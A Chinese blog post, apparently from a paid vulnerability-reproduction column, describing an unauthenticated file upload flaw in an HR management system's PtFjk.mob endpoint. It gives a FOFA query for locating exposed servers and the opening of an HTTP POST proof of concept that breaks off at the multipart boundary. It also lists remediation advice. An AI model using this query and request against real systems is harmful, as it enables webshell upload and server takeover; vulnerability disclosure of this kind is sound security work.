57qi5rW35LqRZUhS PtFjk.mob 任意文件上传漏洞复现

0xSecl

已于 2024-07-30 18:46:45 修改

阅读量1.1k

点赞数 10

分类专栏：漏洞复现文章标签：安全 web安全

于 2024-05-08 12:29:46 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/138567248

版权

漏洞复现专栏收录该内容

937 篇文章 1545 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文详细介绍了57qi5rW35LqRZUhS人力资源管理系统中的PtFjk.mob接口存在的未授权文件上传漏洞。攻击者可以利用此漏洞上传webshell，执行命令并获取服务器权限。复现环境中，通过FOFA查询到相关路径。修复建议包括联系厂商升级到最新版本，以及临时通过配置nginx或tomcat的web.xml限制访问。

摘要由CSDN通过智能技术生成

0x01 产品简介

57qi5rW35LqRZUhS是大中型企业广泛采用人力资源管理系统。某云是国内顶尖的HR软件供应商，是新一代eHR系统的领导者。

0x02 漏洞概述

57qi5rW35LqRZUhS系统PtFjk.mob接口处存在未授权文件上传漏洞，攻击者可上传webshell来命令执行，获取服务器权限。

0x03 复现环境

FOFA：body="/RedseaPlatform/skins/images/favicon.ico"

0x04 漏洞复现

PoC

POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbD

了解本专栏